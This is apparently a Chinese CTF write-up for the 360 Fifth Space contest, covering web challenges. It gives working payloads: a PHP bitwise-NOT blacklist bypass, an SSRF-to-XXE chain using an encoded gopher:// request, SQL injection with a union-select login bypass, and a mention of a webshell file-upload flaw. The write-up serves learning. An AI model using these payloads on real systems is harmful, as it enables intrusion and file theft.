360第五空间 CTF

hate-php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}

过滤了内置函数,过滤了绝大多数符号和flag,php。一开始想的是既然把内置函数都存进blacklist变量中,想用调用数组元素的方式使用内置函数,然后发现la[],这方法不太行。然后又想到用提交数组的方式绕过preg_match,但是经过测试,assert无法执行数组。后来注意到了没有过滤取反符号~,也没想到什么利用方法。

刘大叔给了一篇文章,里面提到了如果直接以$xxx();来调用,PHP5和PHP7并无不同,如果以($xxx)();的格式,在php7中,不允许通过(‘phpinfo’)();来执行动态函数,但是在PHP7以后可以通过(‘phpinfo’)();的方式来执行函数

写个脚本

1
2
3
4
5
6
<?php
$a = "highlight_file";
$b = "/flag";
var_dump(urlencode(~$a));
var_dump(urlencode(~$b));
?>

最终payload

1
(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~%D0%99%93%9E%98)

Do you know

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
highlight_file(__FILE__);
#本题无法访问外网
#这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了
#各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
die("no hacker");
}
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];

if(!$a_key||!$b_key||!$a_value||!$b_value)
{
die('我什么都没有~');
}
if($a_key==$b_key)
{
die("trick");
}

if($a_value!==$b_value)
{
if(count($_GET)!=1)
{
die('be it so');
}
}
foreach($_GET as $key=>$value)
{
$url=$value;
}

$ch = curl_init();
if ($type != 'file') {
#add_debug_log($param, 'post_data');
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
} else {
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 180);
}

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// 设置header
if ($type == 'file') {
$header[] = "content-type: multipart/form-data; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
} elseif ($type == 'xml') {
curl_setopt($ch, CURLOPT_HEADER, false);
} elseif ($has_json) {
$header[] = "content-type: application/json; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}

// curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
// dump($param);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
// 要求结果为字符串且输出到屏幕上
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 使用证书:cert 与 key 分别属于两个.pem文件


$res = curl_exec($ch);
var_dump($res);

代码下面的curl没有任何过滤,存在ssrf。访问xxe.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
#这题和命令执行无关,请勿尝试
#there is main.php and hints.php
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$data = preg_replace("/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",'',$data);
$resp = '';
if($data != false){
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT);
ob_start();
var_dump($dom);
$resp = ob_get_contents();
ob_end_clean();

}
?>
<style>
div.main{
width:90%;
max-width:50em;
margin:0 auto;
}
textarea{
width:100%;
height:10em;
}
input[type="submit"]{
margin: 1em 0;
}
</style>
<div class="main">
<form action="" method="POST">
<textarea name="data">
<?php
echo ($data!=false)?htmlspecialchars($data):htmlspecialchars('');
?>
</textarea><br/>
<input style="" type="submit" value="submit"/>
<a target="_blank" href="<?php echo basename(__FILE__).'?s';?>">View Source Code</a>
</form>
<pre>
<?php echo htmlspecialchars($resp);?>
</pre>
</div>

根据代码可知,xxe.php只能通过本地访问。结合上面的index.php,提交两个参数名不同但是参数值相同的键值对,最后一个参数的值会被当作url进行访问。直接构造paylaod访问xxe.php

1
ur=127.0.0.1/xxe.php&url=127.0.0.1/xxe.php

细心的朋友可以注意到index.php中还有一些类似于type的参数,看起来通过这些可以控制header中的参数类型。因为文件名叫xxe嘛,比赛的时候一直在想怎么给type传参,在哪里纠结了好久。

然后就没有然后了,果然是gopher协议直接打。

首先构造xxe内容,过滤可以通过复写绕过,例如flflagag

1
2
3
4
5
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "php://filter/convert.base64-encode/resource=hints.php">
]>
<x>&f;</x>

构造gopher协议,gopher协议的格式为URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

gopher协议没有默认端口,所以需要指定web端口
回车换行使用%0d%0a
如果多个参数,参数之间的&也需要进行URL编码
结尾也得使用%0d%0a作为数据包截止的标志

构造gopher协议读取main.php和hints.php。抓包发现向xxe.php使用POST方式发送数据的时候,data参数会自动urlencode一次。使用url的方式提交数据,浏览器会解码一次,因为利用的是ssrf,curl语句会解码一次。总体算下来data数据要编码三次,POST数据包要编码两次,gopher协议要编码一次。

原始应该发送的POST数据包如下,data编码一次,符合提交规则。

1
2
3
4
5
6
7
POST /xxe.php HTTP/1.1
Host: 121.36.64.91
Content-Type: application/x-www-form-urlencoded
Content-Length: 225
Upgrade-Insecure-Requests: 1

data=%3C%3Fxml%20version%20%3D%20%221.0%22%3F%3E%0A%3C!DOCTYPE%20ANY%20%5B%0A%20%20%20%20%3C!ENTITY%20f%20SYSTEM%20%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dhints.php%22%3E%0A%5D%3E%0A%3Cx%3E%26f%3B%3C%2Fx%3E

使用urlencode将POST数据包urlencode一次,以应对浏览器解码和curl解码。

1
POST%20%2Fxxe.php%20HTTP%2F1.1%0AHost%3A%20121.36.64.91%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%20225%0AUpgrade-Insecure-Requests%3A%201%0A%0Adata%3D%253C%253Fxml%2520version%2520%253D%2520%25221.0%2522%253F%253E%250A%253C%21DOCTYPE%2520ANY%2520%255B%250A%2520%2520%2520%2520%253C%21ENTITY%2520f%2520SYSTEM%2520%2522php%253A%252F%252Ffilter%252Fconvert.base64-encode%252Fresource%253Dhints.php%2522%253E%250A%255D%253E%250A%253Cx%253E%2526f%253B%253C%252Fx%253E

最终payload使用urlencode一次,应对浏览器解码。

1
http://121.36.64.91/?a=1&b=1&c=gopher://127.0.0.1:80/_POST%2520%252Fxxe.php%2520HTTP%252F1.1%250AHost%253A%2520121.36.64.91%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%2520225%250AUpgrade-Insecure-Requests%253A%25201%250A%250Adata%253D%25253C%25253Fxml%252520version%252520%25253D%252520%2525221.0%252522%25253F%25253E%25250A%25253C%2521DOCTYPE%252520ANY%252520%25255B%25250A%252520%252520%252520%252520%25253C%2521ENTITY%252520f%252520SYSTEM%252520%252522php%25253A%25252F%25252Ffilter%25252Fconvert.base64-encode%25252Fresource%25253Dhints.php%252522%25253E%25250A%25255D%25253E%25250A%25253Cx%25253E%252526f%25253B%25253C%25252Fx%25253E

美团外卖

当时没有做出来,跟大佬wp走一波~

扫描敏感文件发现www.zip文件泄露,看来像是个代码审计的题目。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function Login(){
$x1=1;//用户名长度限制
$x2=1;//用户密码长度限制
if(strlen(P('username'))>0 and strlen(P('password'))>0){
if(1<0){
Nts('请输入信息登录');
}
else{

if(GetValue('admin.upass',"uname='".P('username')."' and id>0")==md5(P('password'))){
$_SESSION['adminuser']=array();
$_SESSION['adminuser']['uname'] = GetValue('admin.uname',"uname='".P('username')."' and id>0");
$_SESSION['adminuser']['id'] = GetValue('admin.id',"uname='".P('username')."' and id>0");
$_SESSION['adminuser']['qudao'] = GetValue('admin.qudao',"uname='".P('username')."' and id>0");
Tz('index');
}
else{
Nts('登录失败!');
}

}
}
}

看起来GetValue函数像是提取对应username的mad(password),可以使用union select语句绕过

1
2
username=' union select 'bf342c1ad02ad2e2193105bffe1ed183'#
passowed=ama666

daochu.php中发现了无过滤SQL注入

![image-20200630190742044](/Users/ama666/Library/Application Support/typora-user-images/image-20200630190742044.png)

1
2
3
4
5
6
$ime1=$_GET['ime1'];
$ime2=$_GET['ime2'];

if($type==1){
$biao='content';
$result = mysqli_query($link, 'select * from '.$biao.' where "'.$imei.'" and "'.$ime2.'"');

而且有回显,直接注入,找到hint表,查到提示see_the_dir_956c110ef9decdd920249f5fed9e4427

进入目录后,和根目录结构完全一样,只不过没有了www.zip。源代码中的lib目录无法访问,在hint给的这个目录下可以访问。其中有很多js文件,和一些php文件。大佬用Mac的Finder找到最近修改的文件(太骚了这个姿势)

然后审计代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
/**
* 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
*/

$DIR = 'preview';
// Create target dir
if (!file_exists($DIR)) {
@mkdir($DIR);
}

$cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds

if ($cleanupTargetDir) {
if (!is_dir($DIR) || !$dir = opendir($DIR)) {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
}

while (($file = readdir($dir)) !== false) {
$tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;

// Remove temp file if it is older than the max age and is not the current file
if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
@unlink($tmpfilePath);
}
}
closedir($dir);
}

$src = file_get_contents('php://input');

if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {

$previewUrl = sprintf(
"%s://%s%s",
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
$_SERVER['HTTP_HOST'],
$_SERVER['REQUEST_URI']
);
$previewUrl = str_replace("preview.php", "", $previewUrl);


$base64 = $matches[2];
$type = $matches[1];
if ($type === 'jpeg'||$type==='php') {
die("no hacker");
#$type = 'jpg';
}

$filename = md5($base64).".$type";
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

if (file_exists($filePath)) {
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
} else {
$data = base64_decode($base64);
file_put_contents($filePath, $data);
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
}

} else {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}

代码中有个file_get_contents函数,php://input用来访问HTTP原始数据流。根据后续代码要求,file_put_contents($filePath, $data);,构造一个wenshell,其实这是一个webuploader-v-0.1.15 组件存在文件上传漏洞,Poc在这里,传一个webshell就可以。

laravel

当时扫了半天目录什么也没找到,看了wp之后原来是题目直接吧源代码给了。没拿到源代码,wp看着有点乱就不在这里记录了。